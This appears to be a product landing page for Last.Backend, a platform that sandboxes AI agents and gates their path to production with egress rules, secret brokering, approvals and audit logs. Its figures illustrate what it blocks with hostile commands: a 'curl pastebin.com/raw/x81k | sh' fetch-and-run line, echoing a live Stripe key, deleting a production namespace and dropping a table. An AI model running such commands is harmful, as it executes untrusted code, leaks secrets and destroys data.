EARLY ACCESS First builds go out in November →

Agents can build anything. Now let them ship it.

ISOLATE · GOVERN · SHIP

Isolated runtimes for every agent, and a policy-checked path from first sandbox to live traffic. On your servers, your cloud, or ours.

Request early access How it works

● fig. 1 — the platform, live315 runtimes · 49 in production · 4 awaiting approval · 3 blocked

AGENTSCONTROL PLANESANDBOXPREVIEWSTAGINGPRODpolicysecrets brokeraudit logagent aagent bagent c

request in flightserving in productionruntime activeawaiting approvalblocked by policysecret brokered

agent/checkout-refactor run 7f3a

sandbox

preview

staging

production

00:00.0

runtime.create(isolation="microvm")

trust policy: agent code → microVM

✓ allow

00:01.4

exec("npm ci && npm test")

214 passed · 0 failed

✓ allow

00:09.2

POST api.stripe.com/v1/charges

stripe_key injected at egress

◆ broker

00:11.8

GET pastebin.com/raw/x81k

egress not in allowlist · logged

✕ deny

00:14.0

promote → preview

tests green · live URL issued

✓ allow

00:31.5

promote → staging

no new egress · no schema drift

✓ allow

00:32.0

promote → production

approval required: team-payments

● hold

00:41.2

approved by @maria · canary

auto-rollback armed

✓ allow

05:48.3

rollout complete

snapshot s-91af pinned

✓ allow

✓ approved · @maria

checkout-refactor is rolling out to production.

canary 5% → 100% · auto-rollback armed

Approvals land in Slack, the CLI or here. Policy decides who can sign.

$ claude mcp add lastbackend -- npx -y @lastbackend/mcp

01Isolate

Code no human has read runs behind a boundary that holds.

Same agent. Same command. Two outcomes.

Agents make mistakes and get prompt-injected. What matters is what the infrastructure lets happen next.

fig. 2 — without / with

the agent runs

agent with your cloud keys

agent on Last.Backend

$ curl https://pastebin.com/raw/x81k | sh

script runs

with your cloud keys in its environment

✓

connection refused

egress is deny-by-default; attempt logged to the run

$ echo $STRIPE_SECRET_KEY

sk_live_51H••••••••

now in the transcript, the logs and the model provider

◆

(empty)

key is injected at the proxy, never inside the runtime

$ kubectl delete namespace prod

namespace "prod" deleted

the agent had the same rights as you

✓

Forbidden

capability not granted to agent/checkout-refactor

$ psql prod -c "DROP TABLE orders"

DROP TABLE

found out from customers

●

held for approval

destructive data action routed to team-payments

$ while true; do spin-gpu; done

still running on Monday

nobody set a limit

✓

stopped at $20.00

daily budget reached; runtime snapshotted, not lost

One contract. Any runtime underneath.

MicroVMs by default, containers for trusted code, GPUs and browsers when the task needs them. Missing one? Implement six methods.

fig. 3 — runtimes

DEFAULT FOR AGENTS

MicroVM

Firecracker or Cloud Hypervisor. Own kernel per runtime — the right boundary for code no human has read.

┌─ host ─────────────────────┐
│ ┌─ vm ─────┐ ┌─ vm ─────┐  │
│ │ agent a  │ │ agent b  │  │
│ │ kernel   │ │ kernel   │  │
│ └──────────┘ └──────────┘  │
└────────────────────────────┘

trusted code

Containers

Lowest overhead for code your CI already trusts.

user-space kernel

gVisor

Strong isolation where nested virtualization is unavailable.

functions

WASM

Near-instant tools an agent calls thousands of times.

inference · training

GPU

Isolated GPUs with hard spend limits.

computer use

Browser & desktop

Headful environments, recorded and replayable.

BRING YOUR OWN

Plug in any runtime

type Runtime interface {
  Create(ctx, Spec) (ID, error)
  Exec(ctx, ID, Cmd) (Result, error)
  Snapshot(ctx, ID) (Ref, error)
  Fork(ctx, Ref, n int) ([]ID, error)
  Promote(ctx, ID, Env) error
  Destroy(ctx, ID) error
}

02Govern

Every agent is a principal with its own rights, budget and record.

Policy as code. Not borrowed user tokens.

Written as code, reviewed like code, enforced at the runtime boundary — and explained back to the agent when it hits a wall.

fig. 4 — agents/checkout-refactor.yaml

  1  agent: checkout-refactor
  2  owner: team-payments
  3  runtime:                                   ①
  4    isolation: microvm
  5    budget: $20/day
  6  network:                                   ②
  7    egress: [registry.npmjs.org, api.stripe.com]
  8  secrets:                                   ③
  9    stripe_key: { inject_at: egress }
 10  can:                                       ④
 11    - promote: { to: staging }
 12    - promote: { to: production, approval: team-payments }
 13  never:
 14    - delete: database/*

① runtime

Isolation is chosen by trust policy, not by the agent. Hard spend cap per day.

② network

Deny-by-default egress. Every outbound call is logged against the run.

③ secrets

Injected at the proxy. The value never exists inside the runtime.

④ capabilities

Short-lived, scoped grants. Humans sign off only where it matters — like the card in fig. 1.

Every action traces back to a prompt.

A tamper-evident record of agent, task, prompt, policy and approver. Stream it to your SIEM.

fig. 5 — audit log

timeactoractioncontextdecision

14:02:11agent/checkout-refactorruntime.createtask #4821 · “refactor checkout retries”allow · trust.v3

14:02:20agent/checkout-refactoregress pastebin.comtool call from step 14deny · net.default

14:02:44agent/checkout-refactorpromote productiondiff +212 −87 · tests greenhold · approval

14:06:31human/mariaapprovereviewed preview URLallow · team-payments

14:11:58platformrollout.completesnapshot s-91af pinned—

03Ship

From first sandbox to live traffic, on infrastructure you control.

Sandboxes are where others stop. It’s where we start.

Every promotion is a decision the platform can explain — which checks ran, which policy applied, who approved.

fig. 6 — the path

┌──────────────┐  tests   ┌──────────────┐  policy  ┌──────────────┐  human   ╔══════════════╗
│   SANDBOX    │ ───────▶ │   PREVIEW    │ ───────▶ │   STAGING    │ ───────▶ ║  PRODUCTION  ║
│ microvm      │          │ live url     │          │ prod-like    │          ║ canary       ║
│ no secrets   │          │ seeded data  │          │ brokered key │          ║ rollback     ║
└──────────────┘          └──────────────┘          └──────────────┘          ╚══════════════╝
       ▲                                                                             │
       └───────────── incidents return to the agent as tasks + snapshot ─────────────┘

gates as code

Tests, policy checks and approvals are configured per team, per agent, per environment.

every step reversible

Snapshots at each stage. Canary rollout with automatic rollback on bad signals.

production talks back

Errors and regressions return to the agent as tasks, with the exact runtime to reproduce them.

Your servers. Your cloud. Your rules.

Same API and policies everywhere. Start managed, move in-house when you need to.

open-source core

Self-hosted

Bare metal, on-prem, air-gapped. Prompts and logs never leave your perimeter.

github.com/lastbackend · Apache-2.0

byoc

Your cloud account

We run the control plane. Runtimes and data stay in your account, on your bill.

AWS · GCP · Azure · Yandex Cloud · Selectel

managed

Last.Backend Cloud

Connect your agent and go. Move to self-hosted any time.

regions & pricing at launch

fig. 7 — what works today, honestly

updated 2026-11-01 · also at /status.md

MicroVM runtimeearly access

Container runtimeearly access

MCP serverearly access

Egress policyearly access

Secrets brokerin progress

Approvals (Slack, CLI)in progress

gVisor runtimeplanned

GPU runtimeplanned

SOC 2planned

Give your agents a way to production.

Early access is open. We’ll send the first builds to teams already running agents against real infrastructure.

or switch to “For agents” and let yours sign you up